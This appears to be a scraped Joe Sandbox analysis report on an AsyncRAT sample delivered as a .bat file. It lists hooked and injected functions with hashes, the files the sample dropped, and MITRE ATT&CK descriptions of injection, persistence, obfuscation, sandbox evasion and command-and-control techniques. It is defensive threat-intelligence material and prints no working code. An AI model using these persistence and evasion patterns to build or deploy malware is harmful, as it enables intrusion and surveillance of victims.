Opcode Fuzzy Hash: 894ee020491a20ca1ddc531f1ec21e22a6f48bf258a879e5fc056447146b8068
Instruction Fuzzy Hash: 185143B090034A8FDB18DFAAD548BAEBBF5EF88314F208459E419A7390DB745984CF65

Function 00CC7C80 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00CC7CFE
GetCurrentThread.KERNEL32 ref: 00CC7D3B
GetCurrentProcess.KERNEL32 ref: 00CC7D78
GetCurrentThreadId.KERNEL32 ref: 00CC7DD1

Memory Dump Source

Source File: 00000015.00000002.3895328928.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_aspnet_compiler.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 80049620deb079d49f10a9a38d56af9aaca5017ef5bfcb75bdcfcc5157db550a
Instruction ID: 82bda28f9c0d3eb8646c242c57445f1ae9b3133d5c26a18f0563baec083b9e11
Opcode Fuzzy Hash: 80049620deb079d49f10a9a38d56af9aaca5017ef5bfcb75bdcfcc5157db550a
Instruction Fuzzy Hash: B25144B09003498FDB18DFAAD548BAEBBF5EF88314F20845DE419A7390DB745984CF65

Function 00CC7EC0 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00CC7F4F

Memory Dump Source

Source File: 00000015.00000002.3895328928.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_aspnet_compiler.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ba74d8c609175796a372507617bafbeffd878fa625501a3b672b3f737fc37973
Instruction ID: 9ca9abcb8aee8e5db99a0e5016b9fd0bf3e14ee3858dd599349744d1130444da
Opcode Fuzzy Hash: ba74d8c609175796a372507617bafbeffd878fa625501a3b672b3f737fc37973
Instruction Fuzzy Hash: 2621E0B59002499FDB10CFAAD884AEEBFF5FB48310F14841AE918A7350D378A950CFA5

Function 00CC7EC8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00CC7F4F

Memory Dump Source

Source File: 00000015.00000002.3895328928.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_aspnet_compiler.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f0655049bff72ac8e4650621046473d10bc3c107c72a5657282a25b690776f5a
Instruction ID: 3ee93004750cec4874cb7337fd92d56432f5bfbab05b4deb8bbb9b20d35f012f
Opcode Fuzzy Hash: f0655049bff72ac8e4650621046473d10bc3c107c72a5657282a25b690776f5a
Instruction Fuzzy Hash: 4021E4B59002099FDB10CFAAD884ADEFFF8FB48310F14841AE918A3350D374A940CFA4

Function 00CC29C4 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 00CC2A43

Memory Dump Source

Source File: 00000015.00000002.3895328928.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_aspnet_compiler.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: f03d7f0b63c1aebf72c5d8262a12c4df29269b12bd4487c5ddfc2048e4601426
Instruction ID: d4768ad14eee7cca8a3af1d423b96df44e2dbd7296b6559368a641cd3414a1f0
Opcode Fuzzy Hash: f03d7f0b63c1aebf72c5d8262a12c4df29269b12bd4487c5ddfc2048e4601426
Instruction Fuzzy Hash: 84210475D002099FDB24DFA9D844BEEBBF5AF88720F10842AD419A7250C7749945CFA0

Function 00CC29C8 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 00CC2A43

Memory Dump Source

Source File: 00000015.00000002.3895328928.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_aspnet_compiler.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 855e0bbd6ca4df8f6b1ded6e1b572e92382f5b029ebb5cdb2dc79cf9295b35b5
Instruction ID: db3dd67bd7c3ed484922700ee524ec6c3e917349155cde084928b05fbd77cb35
Opcode Fuzzy Hash: 855e0bbd6ca4df8f6b1ded6e1b572e92382f5b029ebb5cdb2dc79cf9295b35b5
Instruction Fuzzy Hash: 302115759002099FDB14DFAAC844BEEFBF5AF88710F108429D419A7250C774A944CFA0

Function 00CCD518 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 00CCD58D

Memory Dump Source

Source File: 00000015.00000002.3895328928.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_aspnet_compiler.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 69fc298a24542991dc63c4279e061a63f60339aeffc7061c6983ef1757c3da72
Instruction ID: 17ad5251a778cc8acd36d729aa78b2c7c7867765b274b795f42e5090a527f095
Opcode Fuzzy Hash: 69fc298a24542991dc63c4279e061a63f60339aeffc7061c6983ef1757c3da72
Instruction Fuzzy Hash: F411B1B1804389CEDB20DF95D4047EEBFF4AB05314F14406ED4A963742C3795684CFA2

Function 00C6D3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3894846003.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c6d000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82138535e1542a0189758659f45552d24d3a4dc0ea0e50814eb3e0139968d24b
Instruction ID: 608ed9356acce5d521072d1fe13aa86cf206b391cb8eb90727e041da41b62284
Opcode Fuzzy Hash: 82138535e1542a0189758659f45552d24d3a4dc0ea0e50814eb3e0139968d24b
Instruction Fuzzy Hash: 3D2125B1A04340DFDB24DF10D8C0B26BF65FB98324F20C569E90A0B256C736E856CBA2

Function 00C7D0FC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3895072590.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c7d000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb0e851ec837d1b12ce81b1b6651f47d75a1d6c867d1b7add8668c4bd6a6e109
Instruction ID: 0731e8ea95730fcdba0f5b4749ffb237d160d33906f392db8aa55e90b9995d64
Opcode Fuzzy Hash: eb0e851ec837d1b12ce81b1b6651f47d75a1d6c867d1b7add8668c4bd6a6e109
Instruction Fuzzy Hash: B521F2756043049FDB04DF10D984B2ABBB5FF88334F64C56DD80E4B296C33AD846CA61

Function 00C6D3AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3894846003.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c6d000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3062b24f5b0128947100ec6e500ced3c6d63245422b7ec3b5033f72fc324263
Instruction ID: 86150cae8c67c46ebec22d7f01704f24ac0b3214078848456497f1dc2938753b
Opcode Fuzzy Hash: e3062b24f5b0128947100ec6e500ced3c6d63245422b7ec3b5033f72fc324263
Instruction Fuzzy Hash: 6011E676A04280CFCB15CF10D5C4B26BF72FB94324F24C5A9D84A0B656C33AE956CBA1

Function 00C7D0F7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3895072590.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c7d000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8009cd9747851c6a16484d38da83a80e1112e09f0888f91abd329c0e09305381
Instruction ID: 7cdf2035147cd14f2b2069e6680216dc2dc2317bca09b11f896c22c5a1081b82
Opcode Fuzzy Hash: 8009cd9747851c6a16484d38da83a80e1112e09f0888f91abd329c0e09305381
Instruction Fuzzy Hash: F011BB79504284CFDB05CF10D9C4B19BBB2FB84324F28C6A9D84E4B696C33AD94ACB61

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Pe4905VGl1.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs

C:\Users\Public\AXAGFIIEZBBS.bat

C:\Users\Public\LMKGJHPBNG.ps1

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3rfybafm.v10.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_acrgl1pt.tjp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gxxl0trm.nne.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmpweely.kgs.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q2spqz5b.21d.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xikg1hcy.bym.psm1

Windows Analysis Report
Pe4905VGl1.bat

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre